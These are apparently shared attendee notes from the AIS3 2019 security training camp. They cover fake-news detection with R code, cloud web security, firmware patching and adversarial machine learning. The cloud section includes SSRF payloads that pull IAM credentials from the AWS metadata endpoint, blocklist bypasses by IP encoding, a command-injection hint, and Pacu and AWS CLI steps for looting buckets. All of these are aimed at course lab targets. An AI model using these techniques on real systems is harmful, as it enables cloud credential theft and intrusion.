owned this note
owned this note
Published
Linked with GitHub
---
title: AIS3 2019 共筆
tags: AIS3, AIS3-2019
robots: noindex, nofollow
lang: zh_twhttps://hackmd.io/
---
# AIS3 2019 共筆
[英文版 English](https://hackmd.io/gMY_R2MOTYe8ILSeSMHMdg?view)
> 全開山里首家 AIS3 聊天室上線啦
[TOC]
## 7/29(一)09:30 - 10:30
:::success
主題 : Opening
:::
> 10:00 - 10:20
> 「大家好!」(宏亮)「怎麼這麼小聲」(委屈貌)
> 八字箴言: 「受以小惠,回以大德」
> 名言補充: 「出自你手,就是你的自畫像」 [name=吳老師]
>
### AIS3 校友 line@
[Line@ Link](https://line.me/R/ti/p/%40358zbcus)
[註冊 ~~賣個資的地方~~](https://ais3.info/ais3/signup.html)
~~https://ais3.info:2083/~~
## 7/29(一)10:30 - 13:00
:::success
主題 : National Security - Detecting Fake News, Censorship Resilience, Secure Voting
逢甲大學資訊工程系 王銘宏 Ming-Hung Wang
> [Ming-Hung Wang (FB)](https://www.facebook.com/mhwang945)
> [tonymhwang (Github)](https://github.com/tonymhwang)
> [沈伯洋 Puma](https://www.facebook.com/pumashen)
:::
[(不完全相同)](https://www.slideshare.net/MingHungWang/ss-129021918)
- [PTT 原始資料全揭露!「韓流」怎麼造出來的?](https://www.cw.com.tw/article/article.action?id=5093610)
- 但其實這篇不是講者寫的
- 於是就收到私訊了↓
- ![](https://i.imgur.com/IrGZ7Yu.png)
> 我本來研究的是台北市長選舉
> 從來沒想過居然高雄才是重點
> [name=王銘宏]
> **PTT 的網軍4假議題了**
> D能卡才是流行
> [name=王銘宏]
> 做資安的應該都有一顆想紅的心吧
> [name=王銘宏]
> 我的帳號可以賣 2 萬多塊(登入 4000 天 up)
> [name=王銘宏]
> PTT 之所以有那麼多影響力 我覺得是因爲記者不會用其他平台
> [name=王銘宏]
> 郭xx選舉看起來有兩百兆
> [name=王銘宏]
> 館長現在只會發三公分文
> [name=王銘宏]
> 記者要~~抄新聞~~寫新聞都會看 PTT
> 最近學會~~抄~~寫 Dcard 文了
- dispoint
- Dcard 不好分析,因為是匿名的,只看得到學校
- Facebook 不好分析,因為資訊是分散的,沒有 aggregate
### 假新聞研究
- 從每天在用的平台開始研究起
當前研究網軍主要論壇
- Facebook
- Dcard
- 研究全球性平台影響力較大
- Twitter
- Facebook
- etc.
### 陷入選擇性新聞暴露 (selective exposure)
- 這樣導致八卦版有很多會爆掛一些不紅的東西
- 八卦版已經爛掉了
- $\huge 20元 = 100推 = \color{red}{紅爆!!!}$
- Fake News → Disinformation or Rumor
- 因為 fake news 是對新聞媒體的一種指控
- 從 [MIT 數據](https://science.sciencemag.org/content/359/6380/1146) 假新聞散佈速度比真新聞快 6 倍 ( 透過使用者回應統計 )
- 政府不理解假新聞,只有他們選舉輸時才會注意
---
### What is fake news?
- 有兩個時候會說他是一個假新聞
1. 可驗證他是假新聞
2. 預期他是假新聞
- 內容不正確,就一定是假新聞嗎?
以是否有惡意分類
1. 錯誤訊息
- 內容錯誤,但為不小心為之
- **並無惡意**
2. 不實訊息
- 內容有錯,且為傷害特定對象
- **有惡意**
- 雖然內容為真,但加註其他文字以誤導閱聽者
- 誰是散播者?
1. 恐怖份子
2. 政治人物
3. 政府 ← ~~它就是假新聞~~
- 高度公信力(credit source)
- 可能導致民眾錯誤引用
- [密訊 Mission](https://www.mission-tw.com/mission)
4. 一般民眾
- 散播者的目的
- 經濟利益
- 政治目的
- 成就感
- 散播管道
- 傳統媒體
- e.g. 電視、報刊、廣播
- 單向傳播
- 社群媒體
- 人們用以交流
- e.g. [吃屎哥被館長踢](https://www.youtube.com/watch?v=k4d1c5vFBLE)
- 政府較難管控,會被控訴言論自由遭受侵犯
- :::success
眼下對假新聞的最佳解: **意見領袖**針對假新聞的**即時澄清**。
因此公眾人物開始開設 Line、Facebook、IG 等社群帳號,以利訊息即時傳播
並且時間必須很快,不然讓新聞發酵後,很難收拾
意見領袖顧慮很多,容易錯失時機
:::
- 透過科學驗證假新聞
- 韓總機與蔣經國合照疑似造假
- 照片部分失焦
- 腳不在同一平面上
- ISIS 發布 10 歲小孩執行槍決影片
- 但即便事後澄清新聞已經散佈,造成不可逆傷害
- 不可逆傷害事例
- 日本關西機場事件
1. 假新聞透過論壇散佈
![](https://i.imgur.com/U2oJAasm.png)
2. 假新聞傳播
3. 即便澄清依然造成駐外大使心理壓力
4. 造成憾事
- 損失
1. 造成我國大使在大使館輕生 (RIP)
- 訊息循環
```graphviz
digraph {
layout="circo"
node [shape = circle]
傳統媒體 -> 閱聽人
閱聽人 -> 假新聞
假新聞 -> 社群媒體
社群媒體 -> 傳統媒體
}
```
- 同溫層效應 echo chamber
### 電腦技術解決假新聞的方法
- 電腦審查 vs 人工審查
台灣多以人工審查為主
電腦審查(e.g. 美玉姨)
- 速度: 人工 >> 電腦
- 準確度: AI 有 65% 準確度([來源:去年底報導](https://www.engadget.com/2018/10/04/mit-ai-catches-fake-news-by-rating-source/))
- 立場:審查人員可能基於高層施壓而錯誤判斷
- 瓶頸: 如何查核?
**就算人工壓縮到一天,其實也是來不及**
- [MIT 與 QCRI 合作](https://www.ithome.com.tw/news/126302)
- Facebook 依靠 AI 影像辨識快速找出不當內容
- 從 network model 分析:[Fake news propagate differently from real news even at early stages of spreading](https://arxiv.org/abs/1803.03443)
商業公司(e.g. fb, line)是最適合最訊息查核管制,但是他們不會真的想做
- 假訊息擁有許多來源
- 轉傳多次 → 解析度降低
- 長輩圖
- 真新聞大多透過單一來源(original)
每個人傳播訊息多是 single source
- 來自受信賴的來源
- real-time 的分析,找出假消息散播的網路模型
- graph 分析
- 機器學習找模式
- 假新聞特徵(運用人工智慧與機器學習協助判斷假新聞)
- 吸引人的開頭,情緒化的字眼([This Just In: Fake News Packs a Lot in Title, Uses Simpler, Repetitive Content in Text Body, More Similar to Satire than Real News](https://arxiv.org/abs/1703.09398))
- 篇幅特別短,重複的出現許多副詞(情緒性字眼),引述的專業詞彙相對更少。
- 正面措辭多,**更喜歡下結論**([Automatic Detection of Fake News](https://arxiv.org/abs/1708.07104))
- 根據 2 篇報導間的行文相似度來判定它們的真偽([Unsupervised Content-Based Identification of Fake News
Articles with Tensor Decomposition Ensembles](http://snap.stanford.edu/mis2/files/MIS2_paper_2.pdf))
- 例子
- 18 個粉絲頁同時發布相同新聞
> 新聞分析的網站:
> 媒礦 [Minedia](https://minedia.info/)
- 下雨就不想跑新聞的記者 (屏東高中/台北報導):[Link 1](https://udn.com/news/story/11320/3879565), [Link 2](https://tw.news.yahoo.com/%E5%9B%9E%E9%A5%8B%E6%AF%8D%E6%A0%A1-%E5%B1%8F%E4%B8%AD%E6%A0%A1%E5%8F%8B%E6%8D%90%E5%8D%83%E8%90%AC%E5%8A%A9%E5%AD%B8-215008601.html)
- 台灣政府解決方式
- NCC
- 跳過了(due to 時間問題)
### 為何入坑
- 找論文題目(誤
- PTT 重要文章
- 看有沒有推爆
- 一面倒推
- 一面倒噓
- 看回文數量
- 狂戰
- PTT網紅
- 想知道文章發出後是否會成為爆文/XX文
- 誰來發文會被推爆噓爆?
- 三大社會事件研析
- 318學運
1. 透過爬蟲爬資料
2. 對資料做預處理
3. 建立模型
- 運用時序變化來做自變數
- 每隔 n 分鐘記錄一次
- 文章屬性變數
- 文字數 (Text)
- 發文時間 (is.workhour)
- 發文在平日與否 (is.workday)
- 回歸模型
- $T_p = \alpha_0 + \sum_{i = 1}^{n}{\alpha_i D_{i,p} + \beta_1 \text{Text}_p + \beta_2 \text{is.workhour}_p + \beta_3 \text{is.workday}_p}$
預測推文數、預測戰文
- 帶風向的定義
前 10~12 推噓比例跟整體推噓比例接近
帶風向的成功是吸引同溫層改變思考,並使之改變立場
> 做 Data 的絕對不要使用 Excel
> Excel UTF8 慘兮兮
> [name=王銘宏]
- 臉書粉絲頁政治傾向分析
- [Estimating Ideological Scores of Facebook Pages: An Empirical Study in Taiwan](https://academic.oup.com/comjnl/article-abstract/60/11/1675/3836918?redirectedFrom=fulltext)
- 發現文獻
- Quantifying Social Media’s Political Space: Estimating Ideology from Publicly Revealed Preferences on Facebook
- 使用臉書共同按贊行為評估政治人物政治光譜位置
- 使用記名投票結果來驗證
粉絲業政治傾向推估方式
蒐集政治人物共同按讚人數
台灣 113 立委
113 * 113 matrix
normalize
奇異值分解 singular value decomposition (SVD)
> 會做原生 sorting 就不用丟到 R 裡去做 sorting!
> [name=王銘宏]
- 攻擊性/反諷性粉絲頁
- 反串
- e.g. 無限期支持連勝文參選總統
- 胡志強的芭樂園 → 芭樂票
- 攻擊
- e.g. 柯文哲垃圾!
- 反諷
反諷語意難以分析
- e.g. 好棒 v.s. 好棒棒
[[COSCUP 2012] 第一次自幹作業系統核心就上手 - Jserv](https://youtu.be/m6R1mFpifa4)
{%youtube m6R1mFpifa4 %}
### R demo
PTT 資料為主
拿到資料要做甚麼
- 了解資料格式
- 了解資料結構
- 取得要用的資料
所以~~抓網軍~~資料分析前
- 70% 時間清洗資料
- 20% 做分析做分析 做分析
- 10% 回復心情 <- 太少了
練習資料
- [2018/10/24-2018/11/24 PTT八卦版資料](https://reurl.cc/16WoV)
```r=
library(readr)
library(data.table)
library(igraph)
library(dplyr)
df = fread('1024_1124.csv', header = T)
nrow(df) # 有 72045 筆資料
names(df) # 看每個 col 的名稱
han_df = df[grepl('韓國瑜', content) | grepl('韓國瑜', title)]
tsai_df = df[grepl('蔡英文', content) | grepl('蔡英文', title)]
nrow(han_df) # 8018 篇
nrow(tsai_df) # 2188 篇
# data$column
author_han = han_df$author
commenter_tsai = tsai_df$commenter
## 網軍分工很細
## 某些 ID 專門用來發文,某些專門推噓文
han_df$author[1:5] # 顯示前五筆資料
han_df$author_id = sub(" (.*)", '', han_df$author) # 去除暱稱
## 暱稱可以更改,必須先過濾
## 怎過濾是常見白板題 e.g. 趨勢
author_freq = data.table(table(han_df$author_id))
author_freq[order(-N)] # 用頻率排序
tsai_df$author_id = sub(" (.*)", '', tsai_df$author)
author_freq = data.table(table(tsai_df$author_id))
author_freq[order(-N)]
# 分析蔡韓的主要用戶 ID
df$author_id = sub(" (.*)", '', df$author)
df[,c('author_id', 'author_ip'),with=F]
# 取出作者 ID 和作者 IP 位址
df %>% group_by(author_id) %>% summarise(unique_ip = n_distinct(author_ip)) %>% arrange(desc(unique_ip))
# 將上面的資料做處理(計算每個 ID 有多少種不同的 IP 位址)
unique(df[author_id=='oooo']$author_ip)
## 發現 oooo 頻繁換 IP 位址,但還不足以確定為網軍
## 網路上找網軍一直 a 他帳號,截圖,再集結起來
## 將 IP 位址列出來
## 不該一個個個案去看,應該看全貌
## 他們很認真應該也是另一個陣營的網軍,有人那麼閒?
#################
edge_list = rbindlist(lapply(1:nrow(han_df), function(x){
author = han_df$author_id[x]
commenter = unlist(strsplit(han_df$commenter[x],"!@#"))
data.table(commenter=commenter,author=rep(author, length(commenter)))
}))
# 用 strsplit 解開 commenter 的 list
names(edge_list) = c('from', 'to')
g = graph_from_data_frame(edge_list, directed = TRUE)
E(g)$weight = 1
g = simplify(g, edge.attr.comb = list(weight = 'sum'))
s1 <- subgraph.edges(g, E(g)[E(g)$weight>100], del=T)
l = layout_nicely(s1)
plot(s1,layout=l,edge.witdth=E(s1)$weight*0.1, edge.arrow.size=.1, vertex.label.cex=1,vertex.size=5)
# 最後一行有問題,待更正...(已幫更正)
# 找出兩量權重超過 100 的 ID,使用視覺化的方式呈現
```
後續方向
- 使用社群網路結構找出小團體
- 中心度 (centrality)
- 圖形結構 (LCC, DAG, ...)
- 文字探勘
- 斷詞步驟
- 情緒分析
:::warning
主機在國外 開放熊貓哀悼區x
熊貓在歐盟(荷蘭),歐盟訂新法(?
45TB QQ?
https://twitter.com/fuckmaou TWITTER說目前沒事
不管有沒有事,先備份在說(正解)
再啦幹
欸不是,旁邊有留言功能
欸不是,旁邊的留言功能好難用而且好lag
欸不是,這裡怎麼有熊貓
這邊有DB檔案 (11TB),有人需要ㄇ?(怎跟你拿?)(同問怎麼拿?)
開車
:::
###### tags: `real-Taiwan`
## 7/29(一)14:00 - 17:00
:::success
主題 : Vulnerability - Web 你的雲不是你的雲
網站應用程式安全
王凱慶 專員 中華電信/中華資安國際
[hi@kaiching.wang](mailto:hi@kaiching.wang)
楊鈞皓 Bu Bu
徐偉庭 Vtim
:::
- [Slide](http://file.inner.ais3.org/190729_afternoon_slide.pdf)
:::info
以下抄襲投影片(x
:::
### 1.雲端與地端的差異
| 傳統環境 | 雲端環境 |
| :--------: | :--------: |
| 變化性低 | 高度變化 |
| 事先設計與估算 | 數不清的服務 |
| 最低需求服務 | 彈性取用 |
### 2. 基本資訊安全評估
- 弱點驗證
#### 服務探索
- 資安評估三步驟
1. IP 範圍探索
2. 弱點掃描 (NMAP)
(分主機和網頁)
尋找線上主機
a. 開放 port
b. 提供哪些服務
c. 服務套件版本
:::warning
弱掃主動探測後,需自行再驗證
:::
3. 網域清單
- 掌握企業擁有哪些 domain name 也很重要
- 可以找到主機突破點 (小站)
> 在路上跑的都是 CVE,才不會把 0 day 丟給靶機呢!
> [name=王凱慶]
#### 雲端安全評估
##### 弱點掃描
- 主機弱點掃描
1. Nessus
2. nexpose
3. OpenVAS
- 網頁弱點掃描
1. Acunetix
2. AppScan
3. WebInspect
#### 簡單三步驟
1. 看服務供應商的手冊
2. 覺得雲端很安全
3. 告訴老闆/客戶我們很安全
#### 其他可以考慮的議題
1. 浮動 IP 範圍
- 每次打開機器 IP 都不一樣
2. 服務是否暴露在 public 環境上
- 微服務開在內網,指定 IP 才能訪問
3. 系統弱點是如何被 patch 的
4. 入侵系統後還夠做些什麼?
5. 網路架構是怎麼一回事
6. 應用架構特性差異
#### 雲端環境的差異
- 基本功能沒有甚麼太大的差別
- 網站弱點不管在雲端還是傳統環境都差別不大
- 除了共通性的弱點(Host)之外其餘的弱點控制在服務商手上
- 最大差異
- 網路系統
- 認證授權
- 自動化
- 設計方法
較傳統環境有彈性,可以根據預測流量部屬對應資源
e.g. KKTIX
### 2.公開資訊搜集
- 你也許聽過 DDOS,那你有聽過安麗 EDOS 嗎?
:::danger
每一次的操作,都會造成講者錢包的傷害
:::
> 可以寄美好的檔案給我
> [name=王凱慶]
> <p style='color: white'> 他也想要熊貓!</p>
![](https://i.imgur.com/0MB9vWx.png)
- IP列舉
- 掃描所有 IP <span style="color: red">很慢</span>
- [Amazon Web Service](https://ip-ranges.amazonaws.com/ip-ranges.json)
- [Google Cloud Platform](https://cloud.google.com/compute/docs/faq#where_can_i_find_product_name_short_ip_ranges)
- [Microsoft Azure](https://www.microsoft.com/en-us/download/details.aspx?id=)
- 網域列舉
- 搜尋引擎
- Google
- Bing
- Yahoo
- 百度 *< 最有品的瀏覽器,不該出現的它都會出現 >*
- Yandex *< 不受限資本主義的法律 烏拉>*
- [Crt.sh](https://crt.sh)
- 證書透明度查詢系統
- 僅有效憑證資訊可供查詢
- [VirusTotal](https://www.virustotal.com/gui/domain/google.com/details), SecurityTrails, DNSTable
- 紀錄曾經解析過的網域
- 分析網域過往行為
- dnsdumpster.com
- DNS 資訊關聯圖繪製
- 協助分析 DNS 紀錄
- Censys, Shodan, Zoomeyes...
- 紀錄網路空間的主機資訊
- 暴力破解(網域列舉)
- 一本好的字典
- Sublist3r(幫你把前面的工作都做好了)
- CSP
- Content Security Policy
- CSP 用於指定網站資源的有效域,用於強化 XSS 攻擊的抵抗能力
```htmlmixed=
<meta http-equiv="Content-Security-Policy" content="default-src" 'self'; img-src https://img.ais3.org; child-src'none';">
```
> 每家公司都要有一個 Mark(猜帳號/密碼:Mark/Mark 中了)
> [name=王凱慶の同仁]
> 百度是世界上最不安全、不道德的搜尋引擎,不該出現的東西它都會出現
> [name=王凱慶]
#### VM
##### VPC
##### Market
* AMI Market
##### cloud-init
##### MetaData Service
- 什麼是 MetaData Service?
- 提供設定資訊供 cloud-init 設定 instance
- 提供延伸資訊供環境使用
- 裡面有些什麼?
- hostname, host-ID, host-IP
- Network Information
- SSH Public key
- Startup script
- Security Credentials
- [IAM](https://docs.aws.amazon.com/zh_tw/IAM/latest/UserGuide/introduction.html) - 角色與權限
```graphviz
digraph {
rankdir=LR
"IAM Policy" -> "IAM Role"
"IAM Role" -> EC2
}
```
- 如何竊取 MetaData
- Get Shell 直接拿
- Commend injection
- SSRF
#### SSRF
SSRF 的攻擊面
- 借刀殺人
- 探索內部服務 (port scan)
- 攻擊內部服務 (Struct2, Redis, ElasticSearch)
- 讀取本機端檔案 (/etc/passwd)
- 識別服務框架/架構 (Banner)
> 從保護繞過 s2-016 開始打
什麼地方會有 SSRF?
- 能夠發起網路請求的地方
- 呼叫其他服務
- 請求遠端資源 (下載檔案、快取...)
- 服務內建功能 (Oracle, MSSQL, CouchDB)
- 文件處理 (ffmpeg、image...)
- 其他漏洞利用 (Command Injection、SQLi、XSS、SSTI)
- 保護繞過
- HTTP 302 重新導向
- Location: scheme://IP:Port/Path
- IP變形
- 127.1
- 127.0x0.0x00.1
- 2130706433(127.0.0.1)
- 10.121913
- [::]
- 網域解析
- nip.io
- xip.io
- DNS Rebind
- 檢查與請求結果不一致
- A.1.1.1.1.1time.127.0.0..1times.repeat.rebind.network
```php=
<?php
$domain='xxx.com'; //1.1.1.1
$ip=gethostbyname($domain);
if(!in_blacklist($ip)){
$content=file_getcontents($domain); //127.0.0.1
}
```
> ~~暴雪、手遊公司~~之類的都被陰過
##### 練習
- Level 1
http://ais3-2019.tk/level1.php
```htmlmixed=
<?php
if( !empty($_POST['url']) ) {
$resp = file_get_contents( $_POST['url'] );
}
?>
<h1>Level 1</h1>
<form method="POST">
URL: <input name="url"/>
<input type=submit>
</form>
<pre>
<?=htmlspecialchars($resp); ?>
</pre>
```
> Solution 可以在簡報 35 & 37 頁找到方法
> Step1: 輸入http://169.254.169.254/latest/meta-data/iam/security-credentials/
>取得 RoleName (BadRoleForAIS3)
> 輸入 http://169.254.169.254/latest/meta-data/iam/security-credentials/BadRoleForAIS3
>取得 token
>
- Level 2
不可以出現 169.254.169.254
http://ais3-2019.tk/level2.php
```htmlmixed=
<?php
if( !empty($_POST['url']) ) {
$url = $_POST['url'];
if( strpos($url, '169.254.169.254') !== False ){
die("Deny: 169.254.169.254");
}
$resp = file_get_contents( $_POST['url'] );
}
?>
<h1>Level 2</h1>
<form method="POST">
URL: <input name="url"/>
<input type=submit>
</form>
<pre>
<?=htmlspecialchars($resp); ?>
</pre>
```
> Solution:
> http://2852039166/latest/meta-data/iam/security-credentials/BadRoleForAIS3
>
PACU - AWS Exploitation Framework
PACU - Import Crendentials
```
cat ~/.aws/credentials
```
*對於 STS 開出來的 Token 來說,SESSION_TOKEN 是必要的*
```
"AccessKeyId"
"SecretAccessKey"
"SessionToken"
```
PACU - Run Modules
```
Pacu (aisss:imported-test) > run iam__bruteforce_permissions
```
PACU - Modify Supported Services
```
[iam__bruteforce_permissions]
lamda:
get_account_settings
list_functions
apigateway:
```
```
vi pacu/modules/iam__bruteforce_permissions/main.py
```
```
SUPPORTED_SERVICES={
#'ec2'
#'s3'
'lambda',
'apigateway'
}
```
PACU - Find lambda in all regions
```
[lambda__enum] MODULE SUMMARY:
3 functions found in us-east-1.
1 functions found in us-east-2.
```
https://devhints.io/awscli cheatsheet
監視是否有人入侵取得 token
- [Honeytoken](https://canarytokens.org/generate)
Container 的安全風險
* 逃逸弱點
* Container Image 來源疑慮 (Docker Hub)
* 掉在路上管理介面
[近期 Docker 提權 payload](https://twitter.com/_fel1x/status/1151487053370187776)
> docker kubernetes
Docker Hub 提供各種映像
快速取得開發與測試環境
快速取得取得弱點環境
| Appication |
| -------- |
| Apache+PHP |
| MySQL |
| Base image |
弱點演練
[Vulhub.org 弱點環境大集合](https://vulhub.org/)
Image: 不要用別人的、僅用官方的、用前請掃描
Cloud Storage Service (S3)
- 資料儲存服務
- 透過 API 進行操作
- 雲端環境中的角色
- 資料長時間儲存
- 資料交換
- 儲存備份資料
公開的儲存空間
https://buckets.grayhatwarfare.com
外洩事件
https://github.com/nagwww/s3-leaks
自訂網域
使用 `img.ais3.org` 而不是 `ais3.s3.amazonaws.com`
對應方法
`img.ais3.org.地區.amazonaws.com`
**AWS S3 練習兩下**
AWSBucketDump
https://github.com/jordanpotti/AWSBucketDump
>solution:`$ python AWSBucketDump.py -l 字典檔 -g list.txt -D -t 2`
list.txt 內容
![](https://i.imgur.com/xpnTA10.png =x80)
答案
![](https://i.imgur.com/iMuRp6o.png =x50)
flag
![](http://activestat.s3.amazonaws.com/ais3-flag.png =x100)
> solution: [virustotal](virustotal.com) 搜尋 ais3-2019.tk 找 sub-domain,進 sub-domain 可以看見 flag.png
![](https://i.imgur.com/EUNDIpj.png =x250)
flag
http://s3.ais3-2019.tk/ais3-flag.png
![](https://i.imgur.com/fFpVOsr.png =x150)
> solution:
> 先下載 aws cli
>
> > $ sudo apt-get install awscli
>
> 設定一下
>
> > $ aws configure
>
> 接著填入上 part 抓到的 access key & secret
> region 我是填 us-east-1
> output format 留白
> 這樣會產生 ~/.aws/config ~/.aws/credentials
> 手動改 credentials 把 session 加進去
> 之後下指令
>
> > $ aws s3 ls
> > 2019-07-28 18:35:21 activestat
> > 2019-07-28 20:14:23 ais3-2019-top-secret
> > 2019-07-28 18:45:08 s3.ais3-2019.tk
>
> > $ aws s3 ls ais3-2019-top-secret
> > 2019-07-28 20:31:20 8811 flag.png
>
> > $ aws s3 cp s3://ais3-2019-top-secret/flag.png ./
>
> ![](https://i.imgur.com/zl27WTn.png =x200)
Serverless
https://github.com/Bu4275/api_gateway__enum_api_endpoint
#### 賈新聞機器人
* API endpoint
```
https://ureb9wr3ia.execute-api.us-east-1.amazonaws.com/default/myTelegramBot_News?url=
```
* 目標:拿flag
* 賈新聞機器人
* Source Code
* Environment Variable
* 其他服務
* 兩個flag
> 提示:command injection?
<details>
<summary>劇透</summary>
<a href="https://pastebin.com/G8Lg0jjy">https://pastebin.com/G8Lg0jjy</a>
> 提示: ItIsARandomStringLalalalala || echo '賈'
> 記得 URL Encoding 跟到處看看
</details>
### 3.雲端服務常見資安問題
### 4.專題方向建議
ㄅㄨㄅㄨ
> 市場上比較需要防守方的專題
- 雲端資安
- 設定異動/規章稽核與修正
- 服務暴露偵測與掃描
- 服務關聯視覺化
- 服務異常行為偵測
- 滲透測試
- 雲端環境滲透測試與利用工具
- 雲端資安演練環境
- 容器安全
- 容器弱點掃描與管理
- 鏡像檔掃描與歸檔
### 5.Q&A
## 7/30(二)09:30 - 12:30
:::success
主題 : [Reverse Engineering] Firmware security analysis
Firmware security analysis
Alan Lee & NiNi
:::
> Reverse 專題
> - 寫 Bootloader 100 分 (???)
> - UEFI secure boot 簡報 70 分
> [name=NiNi]
[Slide](https://drive.google.com/file/d/1iMCkudCihlUV6K4jMFpLo-sxKaJ9HfcA/edit)
- Firmware
- 要印出字串要跟硬體做溝通寫到 Pin 腳
- 沒辦法開開心心寫 C 語言
- ROM
- Read-Only Memory
- [ROM 補充](http://elect.taivs.tp.edu.tw/class89b/word/topic_research/no7/rom.htm)
- EP 是用紫外線清除資料
- EEP 是用電流
- 操作【燒錄 firmware】
- 成功後會有貪食蛇的遊戲
- UART
- 古老的傳輸介面(資料傳輸協議)
- 今天利用 USB 模擬 UART
- 時脈
- 頻率相同才能傳輸
- Tx : 傳送(Transmit)
- Rx : 接收(Receive)
- Boot loader
- pc
- 磁區 (MBR, boot loader)
- BIOS 抓包
- MBR -> boot loader
- demo my little os
- mbr.s 放在硬碟的 MBR
- loader.s
- BIOS 的 code 寫死因此可預測行為
- 模擬:bochs (debugger & VM)
- 補充
- [mbr vs gpt](http://linux.vbird.org/linux_basic/0130designlinux.php)
- ARM
- CPU 代稱
- 比 x86 精簡
- 兩種模式
- ARM -> 每條指令 4 Bytes
- Thumb (ARM的子集) -> 每條指令 2 Bytes
- ARM 暫存器
- R0 ~ R15
- SP (R13): stack pointer
- LR (R14): return address
- PC (R15): program counter
- 紀錄下一個位置
> 你學會暫存器了
> [name=NiNi]
- 基本
- `MOV r1 , #0xFA05` 把 0xFA05放進去 R1
- `MOVW R3, #0xBEEF` W 是 word (下兩 Bytes )
- MOVW 把16位值放到暫存器的低16位,高16位清0
- MOVT 把16位值放到暫存器的高16位,低16位不影響
- 基本運算
- `opcode Rd, Rn`
- `opcode Rd, Rn, Op2`
- 只有 ldr 跟 str 可以存取記憶體
- ARM 單位
- Byte
- Word: 2 Bytes
- Half Word: 4 Bytes
- ARM 6 起只有 Thumb-2
- [指令補充](https://www.itread01.com/content/1544778207.html)
- ida32 操作(或是ida64 最後的連續 OK 那邊會問你要用 32 還是 64 解,選 32 就好)
- 拉檔案進去
- 在 load a new file 提示框中
- 下拉選擇 ARM Little-endian [ARM]
- 選擇 Process option
- Edit ARM archtecture
- ARMv7-M
- Thumb-2
- VFPv4
- 不斷的 OK 之後
- 在 IDA View-A 找到 `CODE32`,點一下
- 按下鍵盤上面的 C 鍵
- Edit -> Segments -> Rebase Program -> 0x10079000 (main address)
- 得到 main address 的過程略
- radare2 開法
```
$ r2 -a arm -b 16 -e asm.cpu=cortex -m 0x10079000 MTK7697.bin
```
- ghidra 開法
- language 選 cortex 32 little endian
- options 裡面看要不要把 target 改成 10079000
- 開完按個 ^R 把 TMode 改成 1
- patch 的過程
- ida: 0x1007A9FA (或 objdump: .data+0x19fa) 的地方有個 0x2019 要把它改成 0x0
- 對應的 assembly code: `MOVW R3, #0x2019` -> `MOVW R3, #0x0`
- 用 [online ARM assembler](http://shell-storm.org/online/Online-Assembler-and-Disassembler/)
> 用 radare 附帶的 rasm2 `rasm2 -a arm -b 16 'movw r3, 0x0'`
- 得到對應的 hex: `42F2 1903` -> `40f2 0003`
- vim:
1. open the bin file
2. type ``:%! xxd``
3. type ``:/19f0``
4. change ``42f2 1903`` to ``40f2 0003``
5. type ``:%! xxd -r``
6. save file
- r2:
1. `r2 -w MTK7697.bin`
2. `s 0x19fa`
3. `wx 40f20003`
4. `wci`
5. `q`
- 開發版交互
- 使用 `gtkterm`
- 參考 [Setting.pdf](https://drive.google.com/file/d/1R49PjB4HCIWQ9OcTICbVyvTQehjvcEMQ/edit)
- 使用 `screen`
- Linux `$ screen /dev/ttyUSB0 115200`
- macOS `$ screen /dev/tty.SLAB_USBtoUART 115200`
> `^A k` 離開screen
> 驅動:https://www.silabs.com/products/development-tools/software/usb-to-uart-bridge-vcp-drivers
> 刷韌體的工具:https://github.com/MediaTek-Labs/mt76x7-uploader
- Secure Boot
- 一種 BIOS 的安全機制
- 依賴一組憑證來識別啟動的作業系統是否為信任的,如果不是,就不能開機啟動
- [補充](https://www.cnblogs.com/aaronLinux/p/9198725.html)
- 幾個物聯網安全問題的關鍵
- 傳統程序讓漏洞無法修復 (出廠後韌體無法更新)
> FOTA (firmware over the air) 網路更新
- 密碼系統
- 硬體妥協使密碼容易被破解
> Mirai 弱密碼打入管理權限
- 任天堂 Switch 遭 Nvidia Tegra 漏洞殃及
> bootloader 的 backdoor recovery mode 成為入侵點
## 7/30(二)14:00 - 17:00
:::success
主題 : IoT and AI Security
AI攻防:理論與實踐
Pin-Yu Chen
[pin-yu.chen@ibm.com](mailto:pin-yu.chen@ibm.com)
:::
[Slide - O'reilly_AI_conf_2018](https://drive.google.com/file/d/1Gg7TMlPElYOa2VM7l-vrX0t_u67W6mIx/)
- AI 名詞
- label
- data set
- model
- Adversarial
- 為什麼 AI model 會錯誤
- 使用最好的圖像分類器的神經網絡來識別 ostrich 的圖像
- 圖像和神經網絡模型不是唯一的受害者
- 對抗性的樣本 Adversarial examples
- 針對已經訓練好的模型進行攻擊
- 通常樣本對人類來說看不出變化
- 信任問題
- Why do adversarial examples matter ?
- Prediction evasive attacks on an AI model deployed at test time
1. Crisis in trust: inconsistent perception and decision making between humans and machines
2. Implications to security-critical tasks
3. Limitation in current machine learning methods
4. loss in revenue / reputation
> 對商業公司會造成收入、名譽上的損失
> 相關新聞:[怎麼讓 AI 不會把黑人認成猩猩?Google:認不得猩猩就沒問題啦](https://www.limitlessiq.com/news/post/view/id/3149/)
- [Trusted AI - Artificial Intelligence - IBM Research](https://www.research.ibm.com/artificial-intelligence/trusted-ai/)
- Robustness
- Fairness
- Explainability
- Lineage
- The roadmap - making AI/ML trustworthy
- adversarial Robustness
- Attack
- Defense
> 如何讓被受攻擊的 model 進行改善
- Certification & Evaluation
> 可解釋性
- Interpretability
- Research skill set and tools
- [IBM Adversarial-robustness-toolbox](https://github.com/IBM/adversarial-robustness-toolbox)
- Robust optimization
> 優化性
- Deep Learning
> 增加解釋性
- 1st and 0th order(gradient-free) optimization
- High-dim statistics and verification
- 可解釋性跟準確性的平衡
- decision tree 較易解釋
- Neural Network 較準確
- Accuracy != Adversarial Robustness
- Solely pursuing for high-accuracy AI model may get us in trouble
- 越準確的模型,越容易被攻擊
- https://www.eetimes.eu/ai-tradeoff-accuracy-or-robustness/
![Tradeoff between accuracy and CLEVER score](https://i.imgur.com/D0Tfk2C.png)
- Why do researchers and society care? Trust!
- 只要有神經網路模型,就可以產生對抗式攻擊
> Whenever there is a neural net, there is a way to adversarial example
> [Adversarial examples in speech recognition](https://nicholas.carlini.com/code/audio_adversarial_examples/)
>[NIPS 2018 : Adversarial Vision Challenge (Robust Model Track)](https://www.crowdai.org/challenges/nips-2018-adversarial-vision-challenge-robust-model-track)
### Adversarial Attacks: Full transparency v.s. practicality
- In a machine learning phase
| Training Phase | Testing Phase |
|------- | -----|
|Data -> Model | Inference |
- Attack Method
Attack Category/Attack's reach | Data | Model/Training method | Inference
---------|---|----|-----
poisoning attack|V |V* |
backdoor attack|V| |
Extraction Attack(Model stealing, Membership inference) | |V* | V|
Model injection| |V* | V
- **\*** : No access to model internal info in the black-box attack setting
